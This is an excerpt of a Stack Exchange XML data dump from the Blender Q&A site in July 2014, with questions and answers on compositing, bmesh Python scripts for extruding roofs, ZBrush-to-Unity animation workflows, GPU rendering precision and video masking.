  <row Id="14141" PostTypeId="2" ParentId="14140" CreationDate="2014-07-17T13:05:10.413" Score="5" Body="&lt;p&gt;That weird shape looks a hell of a lot like a distorted mountain to me. You shouldn't plug your source image into the Lens Distorsion. You could instead take a Distort--&gt;Scale node, in Render Size mode, so that you have a totally white image.&lt;/p&gt;&#xA;" OwnerUserId="4979" LastActivityDate="2014-07-17T13:05:10.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14142" PostTypeId="2" ParentId="14140" CreationDate="2014-07-17T13:09:16.767" Score="5" Body="&lt;p&gt;Creating a vignette can be done much more simple by creating an ellipse mask node and tweaking the size value and then blurring it and multiply it with your image.&lt;/p&gt;&#xA;" OwnerUserId="5243" LastActivityDate="2014-07-17T13:09:16.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14143" PostTypeId="2" ParentId="14139" CreationDate="2014-07-17T13:27:44.973" Score="1" Body="&lt;p&gt;The patch adds an additional option to the &lt;em&gt;Save as mainfile&lt;/em&gt; operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.wm.save_as_mainfile(external=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In a build with this patch applied, the option should show as checkbox in the side panel in the file navigator if you use &lt;em&gt;Save as...&lt;/em&gt; or &lt;em&gt;Save Copy...&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-07-17T13:27:44.973" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14144" PostTypeId="2" ParentId="14136" CreationDate="2014-07-17T14:15:13.397" Score="5" Body="&lt;p&gt;Here is a quick script that extrudes selected faces of selected mesh objects, if the face has 4 vertices and the angle between the face normal and the up axis is lower than 3°:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from math import degrees&#xA;from mathutils import Vector&#xA;&#xA;up = Vector((0, 0, 1))&#xA;&#xA;for ob in bpy.context.selected_editable_objects:&#xA;    if ob.type == 'MESH':&#xA;        me = ob.data&#xA;        if me.is_editmode:&#xA;            bm = bmesh.from_edit_mesh(me)&#xA;        else:&#xA;            bm = bmesh.new()&#xA;            bm.from_mesh(me)&#xA;        bm.normal_update()&#xA;&#xA;        for face in bm.faces:&#xA;            if len(face.verts) == 4 and face.select:&#xA;                try:&#xA;                    angle = degrees(face.normal.angle(up))&#xA;                except ValueError:&#xA;                    continue&#xA;                if angle &amp;lt; 3: # some threshold&#xA;                    ret = bmesh.ops.extrude_face_region(bm, geom=[face])&#xA;                    verts = [e for e in ret['geom'] if isinstance(e, bmesh.types.BMVert)]&#xA;                    faces = [e for e in ret['geom'] if isinstance(e, bmesh.types.BMFace)]&#xA;                    bmesh.ops.translate(bm, vec=face.normal * -0.7, verts=verts)&#xA;&#xA;                    e1, e2, e3, e4 = faces[0].edges&#xA;                    if (e1.calc_length() + e3.calc_length()) &amp;lt; (e2.calc_length() + e4.calc_length()):&#xA;                        edges = [e1, e3]&#xA;                    else:&#xA;                        edges = [e2, e4]&#xA;                    bmesh.ops.collapse(bm, edges=edges)&#xA;&#xA;        if me.is_editmode:&#xA;            bmesh.update_edit_mesh(me)&#xA;        else:&#xA;            bm.to_mesh(me)&#xA;        me.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The two shorter edges of the top-face is collapsed to create a sensible roof.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it doesn't account of degenerated quads (non-planar, self-intersecting), but should work good enough for your use case.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-07-17T14:15:13.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14145" PostTypeId="2" ParentId="14111" CreationDate="2014-07-17T14:19:17.347" Score="2" Body="&lt;p&gt;Well, I'm really happy that you asked this question.  I decide to try using the Fresnel Input Node to modulate the various Input sockets of the SSS shader and the results are interesting.  Using Fresnel for the radius adds depth, but it does dampen the SSS effect for the front facing poly's, so maybe it would be better to mix this setup with a stock SSS node.  Using 3 Fresnel Nodes with different IOR values and a Combine node for the Radius not only adds depth but adds a tone gradient which makes the SSS results interesting I think.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a basic setup which uses a model that I recently rebuilt for someone so it can be used with Cycles bake.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an Environment Texture set to a value of 3 and a front facing overhead sun light at about 11:00. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model on the Left uses a stock SSS shader with radius values of 0.9, 1.5, 0.7. for the hair.  The values are 2.0, 1.45, 0.35 for the face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model in the center uses a Fresnel node plugged directly into the Radius of an SSS node so all 3 values have the same input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model on the right uses 3 separate Fresnel nodes to control the 3 values of Radius for the SSS node.  The Fresnel values are the same as the radius values for the model on the left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's subtle and mostly just visible at the edges the way I did it here, but if you put some effort into it you may get somewhere with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bLheJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-07-20T13:34:03.597" LastActivityDate="2014-07-20T13:34:03.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14146" PostTypeId="2" ParentId="14072" CreationDate="2014-07-17T14:32:50.870" Score="0" Body="&lt;p&gt;Blender doesn't support showing dimentsions of dupli-group instances or children (directly), You can however use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Sketching/Ruler_and_Protractor&quot; rel=&quot;nofollow&quot;&gt;Ruler&lt;/a&gt; to measure it, hold Ctrl to snap to the extents of the objects.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-07-17T14:32:50.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14147" PostTypeId="2" ParentId="14134" CreationDate="2014-07-17T14:39:21.630" Score="1" Body="&lt;p&gt;If you are willing to fabricate a mesh by specifying the vertices and faces, it is relatively straightforward to use from_pydata(v,e,f).  The hard part is imagining the math to make your vertices and faces accomplish the look you are targeting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many examples available on the internet, but here are two links: &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/triangle-donut.html&quot; rel=&quot;nofollow&quot;&gt;triangle donut&lt;/a&gt;; &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/meshFromBathymetry.html&quot; rel=&quot;nofollow&quot;&gt;bathymetry&lt;/a&gt;&#xA;and a copy of the triangle donut code in case the internet is broken:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;&#xA;&#xA;def triangleDonut(name, nChunks, r1, r2, z1, z2):&#xA;    verts=[]&#xA;    faces = []&#xA;    for i in range(2*nChunks):&#xA;        v1=i*3&#xA;        v2 = v1+1&#xA;        v3 = v1+2&#xA;        v4 = v1+3&#xA;        v5 = v1+4&#xA;        v6 = v1+5&#xA;        if (i+1 &amp;gt;= 2*nChunks): # connect the end to the start&#xA;           v4=0&#xA;           v5=1&#xA;           v6=2&#xA;        theta = i*math.pi/nChunks&#xA;        if 0 == i%2:&#xA;            z=z1&#xA;        else:&#xA;            z=z2&#xA;        c = math.cos(theta)&#xA;        s = math.sin(theta)&#xA;        verts.append( [r1*c, r1*s, 0] )&#xA;        verts.append( [r2*c, r2*s, z] )&#xA;        verts.append( [r2*c, r2*s, -z] )&#xA;        faces.append( [v1, v4, v5, v2] )&#xA;        faces.append( [v2, v5, v6, v3] )&#xA;        faces.append( [v3, v6, v4, v1] )&#xA;&#xA;    mesh = bpy.data.meshes.new(name);&#xA;    mesh.from_pydata(verts, [], faces)&#xA;    mesh.validate(True)&#xA;    mesh.show_normal_face = True&#xA;&#xA;    obj = bpy.data.objects.new(name, mesh)&#xA;    scn = bpy.context.scene&#xA;    scn.objects.link(obj)&#xA;&#xA;&#xA;&#xA;triangleDonut(&quot;donut&quot;, 20, 3, 2, 1,1.5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-07-17T14:39:21.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14148" PostTypeId="2" ParentId="14136" CreationDate="2014-07-17T14:53:20.690" Score="2" Body="&lt;p&gt;Here is another solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;def extrude_and_collapse(obj, height):&#xA;    if not obj or obj.mode != 'OBJECT':&#xA;        raise RuntimeException(&quot;requires object mode&quot;)&#xA;&#xA;    bm = bmesh.new()&#xA;    bm.from_mesh(obj.data)&#xA;&#xA;    selection = [face for face in bm.faces if face.select and len(face.verts) == 4]&#xA;    for face in selection:&#xA;        face.select = False&#xA;&#xA;    result = bmesh.ops.extrude_face_region(&#xA;                            bm, &#xA;                            geom=selection,&#xA;                            use_keep_orig=False&#xA;                            )&#xA;&#xA;    created_verts = tuple(elem for elem in result['geom'] if isinstance(elem, bmesh.types.BMVert))&#xA;    created_faces = tuple(elem for elem in result['geom'] if isinstance(elem, bmesh.types.BMFace))&#xA;    edit_faces = []&#xA;&#xA;    for face in created_faces:&#xA;        face.tag = False&#xA;        for vertex in face.verts:&#xA;            if not vertex in created_verts:&#xA;                break&#xA;        else:&#xA;            face.tag = True&#xA;            edit_faces.append((face, face.normal.copy()))&#xA;&#xA;    collapse_edges = set()&#xA;    for face, normal in edit_faces:&#xA;        for vertex in face.verts:&#xA;            n = 0   &#xA;            for linked_face in vertex.link_faces:&#xA;                if linked_face.tag:&#xA;                    n += 1&#xA;            vertex.co += height * normal / n  &#xA;&#xA;        edge_min = min(face.edges, key=lambda x: x.calc_length())&#xA;        for loop in edge_min.link_loops:&#xA;            if loop.face == face:&#xA;                break&#xA;        loop = loop.link_loop_next&#xA;        loop = loop.link_loop_next&#xA;        edge_opposite = loop.edge&#xA;&#xA;        collapse_edges.add(edge_min)&#xA;        collapse_edges.add(edge_opposite)&#xA;&#xA;    bmesh.ops.collapse(&#xA;        bm,&#xA;        edges=list(collapse_edges)&#xA;        )&#xA;&#xA;    bm.select_flush(True)&#xA;    bm.normal_update()&#xA;    bm.to_mesh(obj.data)&#xA;    bm.free()&#xA;    obj.data.update()&#xA;&#xA;extrude_and_collapse(bpy.context.active_object, 1.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-07-17T16:23:45.067" LastActivityDate="2014-07-17T16:23:45.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14149" PostTypeId="1" CreationDate="2014-07-17T16:08:51.317" Score="0" ViewCount="3758" Body="&lt;p&gt;Hi Guys I'm trying to make my game and I want to use ZBrush to make my character models, but I want to animate them, to use them in unity with unity new addition (Animator) that is amazing, I remembered that Blender can animate models for using them in unity so I wanted to know if I can make the model in zbrush, animate it in blender and use it in unity!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2014-07-17T19:24:14.873" Title="Animating ZBrush models with Blender for unity" Tags="&lt;animation&gt;&lt;import&gt;&lt;unity&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14150" PostTypeId="2" ParentId="14149" CreationDate="2014-07-17T16:20:18.220" Score="1" Body="&lt;p&gt;Yes, you can. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend to export a low poly version of your character from zbrush and a normal map of the high poly model. Then you import in blender the low poly mesh, rig it, animate it, etc... Then import in unity the blend file and the high poly normal map that you assign on the character's material.&lt;/p&gt;&#xA;" OwnerUserId="4988" LastActivityDate="2014-07-17T16:20:18.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14151" PostTypeId="1" AcceptedAnswerId="14178" CreationDate="2014-07-17T17:57:02.550" Score="2" ViewCount="4114" Body="&lt;p&gt;I am trying to choose a Graphics Card for rendering in Blender, I would like to know if Blender uses Single or Double Point Operations. I have been looking at Nvidia's GeForce and Tesla line of graphics cards, but I need to know what blender uses in order to find the most high performance one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the biggest dilemmas I have had while searching for the last two days is the lack of information about this topic that is newer than 2012. I do not know how much blender has changed in the last two years, but I managed to find two people who said the opposite thing. Here is what one said: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?194347-What-level-of-Numerical-Precision-does-Blender-operate-on/&quot; rel=&quot;nofollow&quot;&gt;The fourth post on this page&lt;/a&gt; Thanks in advance for everybody's help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Here, I found this comparison chart, and forgot to add it: &lt;a href=&quot;http://www.systemagnostic.com/faqs/quadro-tesla/&quot; rel=&quot;nofollow&quot;&gt;http://www.systemagnostic.com/faqs/quadro-tesla/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5251" LastEditorUserId="55" LastEditDate="2014-07-19T16:10:40.733" LastActivityDate="2014-07-19T16:10:40.733" Title="Does Cycles GPU Rendering use Single or Double Floating Point Precision?" Tags="&lt;rendering&gt;&lt;gpu&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14152" PostTypeId="2" ParentId="14149" CreationDate="2014-07-17T19:09:02.347" Score="1" Body="&lt;p&gt;I suggest that only create highpoly model in Zbrush, Decimate it and export if for blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cause, any low poly mesh, which you create in Zbrush, will be un-usable in blender due to Triangles. Also, it will be a problem to animate the Zbrush Low Poly (which is very high, in terms of polygon, as far as blender/game engine is concerned). So, you need to create your lowpoly model in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you are starting in 3D development, its better to invest your time learning blender for modeling and sculpting, instead of trying to learn 2 different applications.&#xA;Blender is also very suitable for game modeling and has better asset pipeline when it comes to exporting for unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To learn more about Blender. Visit www.blendercookie.com and for unity www.unitycookie.com&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="738" LastEditDate="2014-07-17T19:24:14.873" LastActivityDate="2014-07-17T19:24:14.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14153" PostTypeId="1" AcceptedAnswerId="14154" CreationDate="2014-07-17T19:11:13.330" Score="1" ViewCount="934" Body="&lt;p&gt;Is there a way I can have a main script that can access other scripts in the same directory to run them at the correct time?&lt;/p&gt;&#xA;" OwnerUserId="5243" LastEditorUserId="599" LastEditDate="2014-07-17T19:44:12.617" LastActivityDate="2014-07-17T19:44:12.617" Title="Accessing another script in the same directory using python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14154" PostTypeId="2" ParentId="14153" CreationDate="2014-07-17T19:38:14.617" Score="2" Body="&lt;p&gt;Nevermind, I found what I was looking for.&#xA;I just had to type 'import filename' without *.py and reload my main script in blender.&lt;/p&gt;&#xA;" OwnerUserId="5243" LastActivityDate="2014-07-17T19:38:14.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14155" PostTypeId="1" AcceptedAnswerId="14173" CreationDate="2014-07-17T20:58:37.453" Score="5" ViewCount="2075" Body="&lt;p&gt;In my version of Blender (2.71), i can add &quot;Text Game Properties&quot; to text. But if i have two objects that are text, both individual properties are called the same thing &quot;Text&quot;. I want to refer to both of them individually in a script in python, but i don't know how to do it. Please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@sambler&#xA;This is the code i used, but it still won't work. Please help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    from bge import logic&#xA;&#xA;    def reload():&#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;txtVal = own['Text']&#xA;sce = bge.logic.getCurrentScene()&#xA;sce.objects['Refill']['Text'] = sce.objects['Refill']['Text']-(80-own['Text'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5253" LastEditorUserId="5253" LastEditDate="2014-07-18T20:27:57.270" LastActivityDate="2014-07-20T09:28:48.893" Title="Text Game Properties in Blender (Python)" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14156" PostTypeId="2" ParentId="13790" CreationDate="2014-07-17T21:11:12.373" Score="-1" Body="&lt;p&gt;If your making an fps game, just make sure the gun (etc) is pointing directly in front of you. It automatically travels to the centre of the screen and keeps going forward.&lt;/p&gt;&#xA;" OwnerUserId="5253" LastEditorUserId="5253" LastEditDate="2014-07-17T22:45:26.863" LastActivityDate="2014-07-17T22:45:26.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14157" PostTypeId="1" CreationDate="2014-07-17T21:14:41.940" Score="2" ViewCount="410" Body="&lt;p&gt;I want to write a &lt;code&gt;Handler&lt;/code&gt; that runs code only when the user &lt;strong&gt;stops&lt;/strong&gt; translating an object, using &lt;code&gt;bpy.ops.transform.translate&lt;/code&gt; (the 'G' key). So while the user is sliding the mouse around, nothing should happen besides the object being translated. But when they &lt;strong&gt;exit&lt;/strong&gt; the modal &lt;code&gt;operator&lt;/code&gt; (by left-clicking or pressing 'enter'), my code should run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My approach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@bpy.app.handlers.persistent&#xA;def detect_change(scene):&#xA;    op = bpy.context.active_operator&#xA;    opname = op.bl_idname.replace(&quot;_OT_&quot;, &quot;.&quot;).lower() if op else ''&#xA;&#xA;    # On entering translate mode, start checking for exit&#xA;    if opname == &quot;transform.translate&quot;:&#xA;        waiting = True # This will be some sort of persistent variable.&#xA;        return&#xA;&#xA;    # If not in translate mode, then run code&#xA;    elif waiting:&#xA;        my_function()&#xA;        waiting = False&#xA;&#xA;# Add the handler&#xA;bpy.app.handlers.scene_update_post.append(detect_change)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only problem is that after exiting the translate modal operator, the active_operator remains at &lt;code&gt;transform.translate&lt;/code&gt;. It doesn't switch until another operator is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way to either force the operator to update to &lt;code&gt;None&lt;/code&gt; or to detect exiting the modal operator?&lt;/p&gt;&#xA;" OwnerUserId="1658" LastEditorUserId="599" LastEditDate="2014-07-17T21:15:57.467" LastActivityDate="2014-07-17T21:15:57.467" Title="Reset Active Operator" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="0" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14158" PostTypeId="2" ParentId="4837" CreationDate="2014-07-17T21:22:27.693" Score="1" Body="&lt;p&gt;If I understand correctly, you want the character to move, and the head to rotate with mouse-movement?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up you &lt;kbd&gt;W&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; keys for the body, parent everything to that, then set up a &lt;em&gt;Mouse Movement&lt;/em&gt; sensor, connected to a &lt;em&gt;Python&lt;/em&gt; controller to the head. A link to the &lt;em&gt;Python&lt;/em&gt; script is below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://riyuzakisan.weebly.com/mousemove-script.html&quot; rel=&quot;nofollow&quot;&gt;http://riyuzakisan.weebly.com/mousemove-script.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5253" LastEditorUserId="1363" LastEditDate="2014-07-17T21:51:32.157" LastActivityDate="2014-07-17T21:51:32.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14161" PostTypeId="2" ParentId="14134" CreationDate="2014-07-17T22:37:58.817" Score="6" Body="&lt;p&gt;Here's my attempt at simulating your reference image using modifiers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kN44o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All it is is a cube with some modifiers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lPMNw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lPMNw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ocean modifier generates the base mesh/distortions, and the waves are done with a displace modifier using a wood texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/1121/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=1121&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There was a project/challenge a while back called &quot;&lt;a href=&quot;http://www.blendernation.com/2014/04/02/mike-pans-default-cube-challenge/&quot; rel=&quot;nofollow noreferrer&quot;&gt;default cubisim&lt;/a&gt;&quot; with a lot of great examples of modifier art.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2016-03-21T23:06:58.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14162" PostTypeId="1" CreationDate="2014-07-18T01:51:25.063" Score="1" ViewCount="765" Body="&lt;p&gt;I hear it's done by some kind of maps. Are the polygons converted in sprites or they are with some kind of lighting information on them? How is it done?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="2217" LastEditDate="2014-07-18T02:36:22.060" LastActivityDate="2014-07-18T15:13:45.413" Title="how are games rendered in real-time gameplay?" Tags="&lt;rendering&gt;&lt;game-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14163" PostTypeId="1" CreationDate="2014-07-18T02:09:02.773" Score="2" ViewCount="551" Body="&lt;p&gt;When you are animating, you lose control of the directions on which the bones are being manipulated, such as rotation, location and scale. For example if you are animating a mouth. If the head is stationary on its primary place its easier to animate the mouth. But then when its rotated, it is a little more difficult, because the mouth is not aligned with the axis. I'm not a fan of the transformation orientations, because sometimes its not accurate and it is even more for the vertexes and edges. Is there a way to create an instance of the model with the bones which can be animated more easily? Or maybe something to make the process easier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update - In case I confused anybody - &#xA;Just like when you create an instance of an object and then use that instance in the render that you can rotate, scale.... and the original one is stationary on the axis which you can manipulate in edit mode so that the instance updates as if it is aligned with the axis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to do that exactly with the object and the bones.&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-07-18T02:15:21.723" LastActivityDate="2014-10-17T19:52:45.823" Title="How to make an instance of a model for animation?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14164" PostTypeId="1" AcceptedAnswerId="14172" CreationDate="2014-07-18T02:22:19.477" Score="8" ViewCount="5241" Body="&lt;p&gt;If you record your face on film, then use blender to create a geometry from it with its aligning topology. Is that possible? Using camera tracking? How?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="55" LastEditDate="2015-11-21T03:33:09.097" LastActivityDate="2015-11-21T03:33:09.097" Title="Can blender create a topology of a face from real camera? (photogrammetry)" Tags="&lt;mesh&gt;&lt;objects&gt;&lt;camera&gt;&lt;tracking&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14165" PostTypeId="2" ParentId="14164" CreationDate="2014-07-18T02:32:17.297" Score="5" Body="&lt;p&gt;It can be done with blender, but it would be easier with different programs. You could get a close model by placing a LOT of tracking markers, like in &lt;a href=&quot;http://vimeo.com/87658924&quot;&gt;this&lt;/a&gt; video. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like &lt;a href=&quot;http://www.123dapp.com/catch&quot;&gt;123D Catch&lt;/a&gt; is what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-07-18T02:32:17.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14166" PostTypeId="1" AcceptedAnswerId="14168" CreationDate="2014-07-18T02:47:06.680" Score="2" ViewCount="1265" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9N2gt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was rigging a foot to a skeleton when I meant to click &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;, I pressed &lt;kbd&gt;P&lt;/kbd&gt;. Nothing happened so I then clicked &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; and my entire skeleton and avatar turned white. My mouse does not show up inside the Blender screen and I don't want to close it and start over. I did save but I'll still lose quite a bit of work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a button I have pushed that can be undone via the keyboard?&lt;/p&gt;&#xA;" OwnerUserId="5213" LastEditorUserId="55" LastEditDate="2014-07-18T10:21:42.103" LastActivityDate="2014-07-18T10:21:42.103" Title="Pressing P leaves Blender frozen, how to get undo?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-07-18T15:42:13.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="14167" PostTypeId="1" CreationDate="2014-07-18T03:01:43.860" Score="2" ViewCount="558" Body="&lt;p&gt;I have a video and a person walks in front of where I want to put the tracked model and I didn't know if you could cut him out so the model will go behind him like in AE or if that wasn't possible in blender. &lt;/p&gt;&#xA;" OwnerUserId="5136" LastActivityDate="2016-02-12T06:58:28.010" Title="how to put a tracked model behind a person" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14168" PostTypeId="2" ParentId="14166" CreationDate="2014-07-18T03:27:06.823" Score="4" Body="&lt;p&gt;If this happened when you pressed &lt;kbd&gt;P&lt;/kbd&gt;, you've started the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine&quot; rel=&quot;nofollow&quot;&gt;Game Engine&lt;/a&gt; preview. Press &lt;kbd&gt;Esc&lt;/kbd&gt; to return back to your normal view.&lt;/p&gt;&#xA;" OwnerUserId="5172" LastActivityDate="2014-07-18T03:27:06.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14169" PostTypeId="2" ParentId="14167" CreationDate="2014-07-18T03:55:47.853" Score="3" Body="&lt;p&gt;It is possible, since blender has &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Mask_Editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;fully featured masking capabilities&lt;/a&gt;.&#xA;Here is a simple setup to show you how it works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r9Cpn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were able to shoot against a green screen, use this setup instead:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t42k4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: If you need to feather a certain point on you mask, you can hit &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;. If you need to feather the whole mask, add a color ramp node after the mask node, you can then tweak the feathering.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-07-18T15:33:26.063" LastActivityDate="2014-07-18T15:33:26.063" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14170" PostTypeId="1" AcceptedAnswerId="14226" CreationDate="2014-07-18T07:52:29.623" Score="1" ViewCount="214" Body="&lt;p&gt;Is it possible to fix the play head in the center of the VSE, and have the strips moving as the video plays?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If it is possible then how do I do it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it's not possible in blender, is there a script to do it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If there's not a script to do it, then could someone please give this&#xA;novice scripter some pointers on how to do this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4785" LastActivityDate="2014-07-20T22:00:04.977" Title="Fixed play head moving strips" Tags="&lt;scripting&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
